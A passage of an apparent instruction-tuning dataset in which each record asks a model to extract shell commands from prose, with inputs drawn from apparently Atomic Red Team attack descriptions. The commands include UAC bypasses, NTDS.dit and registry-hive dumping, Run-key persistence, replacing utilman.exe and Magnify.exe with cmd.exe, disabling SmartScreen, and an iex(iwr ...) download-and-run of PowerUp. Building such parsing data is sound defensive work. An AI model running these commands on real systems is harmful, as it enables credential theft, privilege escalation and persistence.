  ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An adversary can alter group policy settings by executing this command:\nNew-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTimeDC -PropertyType DWord -Value 0 -Force\nNew-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTimeOffsetDC -PropertyType DWord -Value 0 -Force\nNew-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTime -PropertyType DWord -Value 0 -Force\nNew-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTimeOffset -PropertyType DWord -Value 0 -Force\nNew-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name EnableSmartScreen -PropertyType DWord -Value 0 -Force\nNew-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name ShellSmartScreenLevel -Force; The process of loading an unpacked extension via the `--load-extension` parameter, a method abused by banking trojans, can be performed with this command block:\n\n# Chromium\n$chromium =  \"https://commondatastorage.googleapis.com/chromium-browser-snapshots/Win_x64/1153778/chrome-win.zip\"\n\n# uBlock Origin Lite to test side-loading\n$extension = \"https://github.com/uBlockOrigin/uBOL-home/releases/download/uBOLite_2024.11.25.1376/uBOLite_2024.11.25.1376.chromium.mv3.zip\"\n\nSet-Location \"#{working_dir}\"\n\nSet-Variable ProgressPreference SilentlyContinue\nInvoke-WebRequest -URI $chromium -OutFile \"#{working_dir}\\chrome.zip\"\nInvoke-WebRequest -URI $extension -OutFile \"#{working_dir}\\extension.zip\"\n\n\nExpand-Archive chrome.zip -DestinationPath \"#{working_dir}\" -Force\nExpand-Archive extension.zip -Force\n\nStart-Process .\\chrome-win\\chrome.exe --load-extension=\"#{working_dir}\\extension\\\" -PassThru",
    "output": "{\"command_list\": [\"New-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\System\\\" -Name GroupPolicyRefreshTimeDC -PropertyType DWord -Value 0 -Force\\nNew-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\System\\\" -Name GroupPolicyRefreshTimeOffsetDC -PropertyType DWord -Value 0 -Force\\nNew-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\System\\\" -Name GroupPolicyRefreshTime -PropertyType DWord -Value 0 -Force\\nNew-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\System\\\" -Name GroupPolicyRefreshTimeOffset -PropertyType DWord -Value 0 -Force\\nNew-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\System\\\" -Name EnableSmartScreen -PropertyType DWord -Value 0 -Force\\nNew-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\System\\\" -Name ShellSmartScreenLevel -Force\\n\", \"\\n# Chromium\\n$chromium =  \\\"https://commondatastorage.googleapis.com/chromium-browser-snapshots/Win_x64/1153778/chrome-win.zip\\\"\\n\\n# uBlock Origin Lite to test side-loading\\n$extension = \\\"https://github.com/uBlockOrigin/uBOL-home/releases/download/uBOLite_2024.11.25.1376/uBOLite_2024.11.25.1376.chromium.mv3.zip\\\"\\n\\nSet-Location \\\"#{working_dir}\\\"\\n\\nSet-Variable ProgressPreference SilentlyContinue\\nInvoke-WebRequest -URI $chromium -OutFile \\\"#{working_dir}\\\\chrome.zip\\\"\\nInvoke-WebRequest -URI $extension -OutFile \\\"#{working_dir}\\\\extension.zip\\\"\\n\\n\\nExpand-Archive chrome.zip -DestinationPath \\\"#{working_dir}\\\" -Force\\nExpand-Archive extension.zip -Force\\n\\nStart-Process .\\\\chrome-win\\\\chrome.exe --load-extension=\\\"#{working_dir}\\\\extension\\\\\\\" -PassThru\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To bypass User Account Control on Windows 10 and open an administrative command prompt, use the following PowerShell commands: New-Item \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Force\nNew-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"DelegateExecute\" -Value \"\" -Force\nSet-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"(default)\" -Value \"#{executable_binary}\" -Force\nStart-Process \"C:\\Windows\\System32\\ComputerDefaults.exe\"; To create a fake trusted directory and copy a binary for UAC bypass, use the following command (note this may not work on fully patched systems):\nmkdir \"\\\\?\\C:\\Windows \\System32\\\"\ncopy \"#{executable_binary}\" \"\\\\?\\C:\\Windows \\System32\\mmc.exe\"\nmklink c:\\testbypass.exe \"\\\\?\\C:\\Windows \\System32\\mmc.exe\"\n",
    "output": "{\"command_list\": [\"New-Item \\\"HKCU:\\\\software\\\\classes\\\\ms-settings\\\\shell\\\\open\\\\command\\\" -Force\\nNew-ItemProperty \\\"HKCU:\\\\software\\\\classes\\\\ms-settings\\\\shell\\\\open\\\\command\\\" -Name \\\"DelegateExecute\\\" -Value \\\"\\\" -Force\\nSet-ItemProperty \\\"HKCU:\\\\software\\\\classes\\\\ms-settings\\\\shell\\\\open\\\\command\\\" -Name \\\"(default)\\\" -Value \\\"#{executable_binary}\\\" -Force\\nStart-Process \\\"C:\\\\Windows\\\\System32\\\\ComputerDefaults.exe\\\"\\n\", \"mkdir \\\"\\\\\\\\?\\\\C:\\\\Windows \\\\System32\\\\\\\"\\ncopy \\\"#{executable_binary}\\\" \\\"\\\\\\\\?\\\\C:\\\\Windows \\\\System32\\\\mmc.exe\\\"\\nmklink c:\\\\testbypass.exe \\\"\\\\\\\\?\\\\C:\\\\Windows \\\\System32\\\\mmc.exe\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    After creating a Volume Shadow Copy, you can extract the Active Directory database by executing the following on a domain controller: copy #{vsc_name}\\Windows\\NTDS\\NTDS.dit #{extract_path}\\ntds.dit\ncopy #{vsc_name}\\Windows\\System32\\config\\SYSTEM #{extract_path}\\VSC_SYSTEM_HIVE\nreg save HKLM\\SYSTEM #{extract_path}\\SYSTEM_HIVE\n; The Active Directory database can be dumped using NTDSUtil's IFM functionality with the following commands:\nmkdir #{output_folder}\nntdsutil \"ac i ntds\" \"ifm\" \"create full #{output_folder}\" q q\nThis creates a full backup in the output folder while the ntds.dit file will be available in C:\\Windows\\Temp after successful execution.",
    "output": "{\"command_list\": [\"copy #{vsc_name}\\\\Windows\\\\NTDS\\\\NTDS.dit #{extract_path}\\\\ntds.dit\\ncopy #{vsc_name}\\\\Windows\\\\System32\\\\config\\\\SYSTEM #{extract_path}\\\\VSC_SYSTEM_HIVE\\nreg save HKLM\\\\SYSTEM #{extract_path}\\\\SYSTEM_HIVE\\n\", \"mkdir #{output_folder}\\nntdsutil \\\"ac i ntds\\\" \\\"ifm\\\" \\\"create full #{output_folder}\\\" q q\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This Atomic creates a persistent registry entry called socks5_powershell with the command:\n$RunKey = \"#{reg_key_path}\"\nSet-ItemProperty -Path $RunKey -Name \"socks5_powershell\" -Value \"#{reg_key_value}\"; This test changes the Common Startup registry value to a new location, which requires executing the command:\nNew-Item -ItemType Directory -path \"#{new_startup_folder}\"\nCopy-Item -path \"#{payload}\" -destination \"#{new_startup_folder}\"\nSet-ItemProperty -Path  \"HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\" -Name \"Common Startup\" -Value \"#{new_startup_folder}\"\n",
    "output": "{\"command_list\": [\"$RunKey = \\\"#{reg_key_path}\\\"\\nSet-ItemProperty -Path $RunKey -Name \\\"socks5_powershell\\\" -Value \\\"#{reg_key_value}\\\"\\n\", \"New-Item -ItemType Directory -path \\\"#{new_startup_folder}\\\"\\nCopy-Item -path \\\"#{payload}\\\" -destination \\\"#{new_startup_folder}\\\"\\nSet-ItemProperty -Path  \\\"HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\User Shell Folders\\\" -Name \\\"Common Startup\\\" -Value \\\"#{new_startup_folder}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To replace utilman.exe with cmd.exe and gain an elevated command prompt via the Ease of Access button, use the following command:\nIF NOT EXIST C:\\Windows\\System32\\utilman_backup.exe (copy C:\\Windows\\System32\\utilman.exe C:\\Windows\\System32\\utilman_backup.exe) ELSE ( pushd )\ntakeown /F C:\\Windows\\System32\\utilman.exe /A\nicacls C:\\Windows\\System32\\utilman.exe /grant Administrators:F /t\ncopy /Y C:\\Windows\\System32\\cmd.exe C:\\Windows\\System32\\utilman.exe\n; This technique replaces Magnify.exe with cmd.exe, enabling an elevated command prompt via the Magnifier shortcut, using the command:\nIF NOT EXIST C:\\Windows\\System32\\Magnify_backup.exe (copy C:\\Windows\\System32\\Magnify.exe C:\\Windows\\System32\\Magnify_backup.exe) ELSE ( pushd )\ntakeown /F C:\\Windows\\System32\\Magnify.exe /A\nicacls C:\\Windows\\System32\\Magnify.exe /grant Administrators:F /t\ncopy /Y C:\\Windows\\System32\\cmd.exe C:\\Windows\\System32\\Magnify.exe\n",
    "output": "{\"command_list\": [\"IF NOT EXIST C:\\\\Windows\\\\System32\\\\utilman_backup.exe (copy C:\\\\Windows\\\\System32\\\\utilman.exe C:\\\\Windows\\\\System32\\\\utilman_backup.exe) ELSE ( pushd )\\ntakeown /F C:\\\\Windows\\\\System32\\\\utilman.exe /A\\nicacls C:\\\\Windows\\\\System32\\\\utilman.exe /grant Administrators:F /t\\ncopy /Y C:\\\\Windows\\\\System32\\\\cmd.exe C:\\\\Windows\\\\System32\\\\utilman.exe\\n\", \"IF NOT EXIST C:\\\\Windows\\\\System32\\\\Magnify_backup.exe (copy C:\\\\Windows\\\\System32\\\\Magnify.exe C:\\\\Windows\\\\System32\\\\Magnify_backup.exe) ELSE ( pushd )\\ntakeown /F C:\\\\Windows\\\\System32\\\\Magnify.exe /A\\nicacls C:\\\\Windows\\\\System32\\\\Magnify.exe /grant Administrators:F /t\\ncopy /Y C:\\\\Windows\\\\System32\\\\cmd.exe C:\\\\Windows\\\\System32\\\\Magnify.exe\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To interact with remote systems that have WinRM enabled, an adversary can use the following command: evil-winrm -i #{destination_address} -u #{user_name} -p #{password}; For extracting and compressing Outlook mail artifacts, execute this command, which will display a 'Please be patient' message during processing: powershell -executionpolicy bypass -command \"#{file_path}\\\\Get-Inbox.ps1\" -file #{output_file}\n",
    "output": "{\"command_list\": [\"evil-winrm -i #{destination_address} -u #{user_name} -p #{password}\", \"powershell -executionpolicy bypass -command \\\"#{file_path}\\\\Get-Inbox.ps1\\\" -file #{output_file}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    